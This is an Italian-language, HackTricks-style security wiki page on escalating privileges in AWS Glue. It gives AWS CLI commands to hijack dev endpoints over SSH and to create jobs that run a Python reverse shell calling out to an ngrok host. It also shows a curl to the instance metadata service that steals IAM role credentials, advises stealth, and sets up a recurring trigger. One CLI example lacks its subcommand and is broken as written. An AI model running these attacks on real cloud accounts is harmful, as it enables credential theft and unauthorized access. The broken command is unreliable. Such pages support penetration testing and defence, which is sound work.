# AWS - Glue Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## glue

### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Utenti con queste autorizzazioni possono **configurare un nuovo AWS Glue endpoint di sviluppo**, **assegnando a questo endpoint un ruolo di servizio esistente che Glue può assumere** con permessi specifici.

Dopo la configurazione, **l'attaccante può accedere via SSH all'istanza dell'endpoint**, e rubare le credenziali IAM del ruolo assegnato:
```bash
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
Per motivi di stealth, si consiglia di utilizzare le credenziali IAM dall'interno della macchina virtuale Glue.

**Impatto potenziale:** Privesc al ruolo di servizio Glue specificato.

### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)

Gli utenti con questo permesso possono **alterare la chiave SSH di un Glue development endpoint esistente**, **abilitando l'accesso SSH ad esso**. Questo permette all'attaccante di eseguire comandi con i privilegi del ruolo associato all'endpoint:
```bash
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
```
**Impatto potenziale:** Privesc al ruolo di servizio glue utilizzato.

### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)

Utenti con **`iam:PassRole`** combinato con **`glue:CreateJob` o `glue:UpdateJob`**, e con **`glue:StartJobRun` o `glue:CreateTrigger`**, possono **creare o aggiornare un job AWS Glue**, allegando qualsiasi **Glue service account**, e avviare l'esecuzione del job. Le capacità del job includono l'esecuzione di codice Python arbitrario, che può essere sfruttato per stabilire una reverse shell. Questa reverse shell può poi essere utilizzata per esfiltrare le **IAM credential** del ruolo associato al job Glue, portando a potenziali accessi non autorizzati o azioni basate sui permessi di quel ruolo:
```bash
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change
```
**Impatto potenziale:** Privesc al ruolo di servizio glue specificato.

### `glue:UpdateJob`

Solo con il permesso di update, un attaccante potrebbe rubare le credenziali IAM del ruolo già associato.

**Impatto potenziale:** Privesc al ruolo di servizio glue associato.

## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

{{#include ../../../../banners/hacktricks-training.md}}
